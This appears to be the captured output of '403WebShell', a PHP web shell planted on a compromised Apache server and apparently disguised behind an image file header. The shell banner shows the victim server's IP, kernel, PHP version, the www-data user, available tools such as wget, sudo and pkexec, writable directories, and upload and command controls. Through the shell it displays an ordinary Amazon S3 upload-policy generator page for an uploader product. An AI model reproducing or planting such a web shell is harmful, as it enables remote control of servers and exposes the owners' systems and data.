????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.189.141.66
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/universal_old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/project/universal_old/amazons3generator.html
<!-- saved from url=(0014)about:internet -->
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>Amazon S3 policy and signature generator</title>
	<link rel="stylesheet" href="styles.css">
	<script type="text/javascript" src="Extra/sha1.js"></script>
	<script type="text/javascript" src="Extra/base64.js"></script>
</head>
<body>
Sample: <b>amazons3generator.html</b>&nbsp;&nbsp;<a href="javascript:location.reload(true);"><img border="0" src="images/refresh.png" width="16" height="16">&nbsp;Refresh frame</a>&nbsp;&nbsp;<a target="_parent" href="index.html"><img border="0" src="images/home.png" width="16" height="16">&nbsp;Examples home</a><br/>
<br/>
<!-- text below wil be shown if JavaScript disabled at browser -->
<span id="noscriptdiv" style="border:1px  solid #FF0000;display:block;padding:5px;text-align:left; background: #FDF2F2;color:#000;">Active Scripting (JavaScript) should be enabled in your browser for this application to function properly!</span>
<script type="text/javascript">
	document.getElementById('noscriptdiv').style.visibility = 'hidden';
	document.getElementById('noscriptdiv').style.height = 0;
	document.getElementById('noscriptdiv').style.padding = 0;
	document.getElementById('noscriptdiv').style.border = 0;
</script>

<p>
  <script type="text/javascript"> 

function generatePolicy () {    
  var s3keyId = document.getElementById("s3keyId").value;
  var s3Secret = document.getElementById("s3Secret").value;  
  var s3bucket = document.getElementById("s3bucket").value; 
  var expYear = document.getElementById("expYear").value;  
  if(!s3keyId || !s3Secret || !s3bucket || !expYear)
  {
	alert("Please fill all required fields (marked with *) and try again!");
	return ;
  }
  var s3policy = "{\n    'expiration': '"+expYear+"-01-01T12:00:00.000Z',\n"+
	  "    'conditions': [\n"+
		"        {'bucket': '"+s3bucket+"'},\n"+		
		"        ['starts-with', '$Filename', ''],\n"+
		"        ['starts-with', '$key', ''],\n"+
		"        ['starts-with', '$acl', ''],\n"+
		"        ['starts-with', '$Content-Type', ''],\n"+
		"        ['eq', '$success_action_status', '201']\n"+
	  "    ]\n"+
	  "}";
  document.getElementById("policy_sign").value = s3policy;
  var s3policyenc = Base64.encode(document.getElementById("policy_sign").value);
  

  var signature = b64_hmac_sha1(s3Secret, s3policyenc)+'=';
  document.getElementById("policy").innerHTML = s3policyenc;
  document.getElementById("signature").innerHTML = signature;
  var uu_code = '<pre>url : "'+buildUrl(s3bucket)+'",<br>';
  uu_code += 'amazonS3 : <br>'
  uu_code += '{ <br>'
  uu_code += '	accessKeyId: "'+s3keyId+'",<br>';
  uu_code += '	policy : "'+encodeURIComponent(s3policyenc)+'",<br>';
  uu_code += '	signature : "'+encodeURIComponent(signature)+'",<br>';	
  uu_code += '	acl: "'+document.getElementById("acl").value+'",<br>';	
  uu_code += '	key: "'+encodeURIComponent(document.getElementById("folder").value+'/<FILENAME>')+'"<br>';	
  uu_code += '}<br></pre>'
  document.getElementById("mpu_code").innerHTML = uu_code;
}

function buildUrl(bucket)
{
	var canUseVanity = canUseVanityStyle(bucket);	
	var postUrl = "http://";
	var amazonServer = "s3.amazonaws.com";
	
	if(canUseVanity) {
		postUrl += bucket + "." + amazonServer;                
	} else {
		postUrl += amazonServer + "/" + bucket;
	}	
	return postUrl;
}
		
function canUseVanityStyle(bucket) 
{
	if( bucket.length < 3 ||
		bucket.length > 63 ||
		bucket.match(/^\./) ||
		bucket.match(/\.$/) ) {
		return false;
	}
	
	// must be lower case
	if(bucket.toLowerCase() != bucket) {
		return false;
	}
	
	// Check not IPv4-like
	if (bucket.match(/^[0-9]|\+\.[0-9]|\+\.[0-9]|\+\.[0-9]|\+$/)) {
		return false;
	}
	
	// Check each label
	if(bucket.match(/\./)) {
		var labels = bucket.split(/\./);
		for (var i = 0;i < labels.length; i++) {
			if(!labels[i].match(/^[a-z0-9]([a-z0-9\-]*[a-z0-9])?$/)) {
				return false;
			}
		}
	}
	
	return true;
}

  </script>

This page help you to configure UniversalUploader to upload files directly to Amazon Simple Storage Service (S3). </p>
<p>Please note, that you should put <strong>crossdomain.xml</strong> file at the root of your bucket in order to allow Flash and Java uploaders upload files into this bucket. <br />
And for HTML5 based uploader you should enable <a href="http://docs.aws.amazon.com/AmazonS3/latest/dev/cors.html">CORS</a> resouce sharing.For              step-by-step instructions, see <a href="http://docs.amazonwebservices.com/AmazonS3/latest/UG/EditingBucketPermissions.html" target="_blank">Editing Bucket Permissions</a> in the <em>Amazon S3 Console User                      Guide</em></p>
<p>Required fields marked with *. </p>
<label> 
Input your <strong>Amazon S3 Access Key ID*</strong>:<br>
<input name="textfield" type="text" id="s3keyId" size="50">
</label>
<br>
<label> 

Input your <strong>Amazon S3 Secret Access Key*</strong>:<br>
<input name="textfield" type="text" id="s3Secret" size="50">
</label>
<br>
<label> 
Input <strong>bucket name*</strong>:<br>
<input name="textfield" type="text" id="s3bucket" size="50">
</label>
<br>
<br>
<label> 
Input <strong>expiration year*</strong>:<br>
<input name="textfield" type="text" id="expYear" size="4" value="2020">
</label>
<br>
<label>
Input <strong>default acl</strong> for uploaded files (optional). <br>
By default 'public-read' used:<br>
<select id='acl'>
  <option value="private">private</option>
  <option value="public-read" selected>public-read</option>
  <option value="public-read-write">public-read-write</option>
  <option value="authenticated-read">authenticated-read</option>
</select> 
</label>
<br>
<label> 
<strong>Folder</strong> in bucket where uploaded files should be stored (optional):<br>
<input name="textfield" type="text" id="folder" size="50">
</label>
<p>Here is your policy to sign:</p>
<p>
  <textarea id="policy_sign" cols="100" rows="10">
    </textarea>
</p>
<p>
  <input name="button" type="button" onClick="generatePolicy()" value="Generate S3 Policy and Signature">
</p>
<p><br>
  Here is your policy: </p>
<div id="policy">
</div>
<hr>
Here is your signature:
<div id="signature">
</div>
<hr>
<h2><strong>Here is code for UniversalUploader </strong> (You should copy that code and paste into page with uploader) </h2> 
<div id="mpu_code">
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit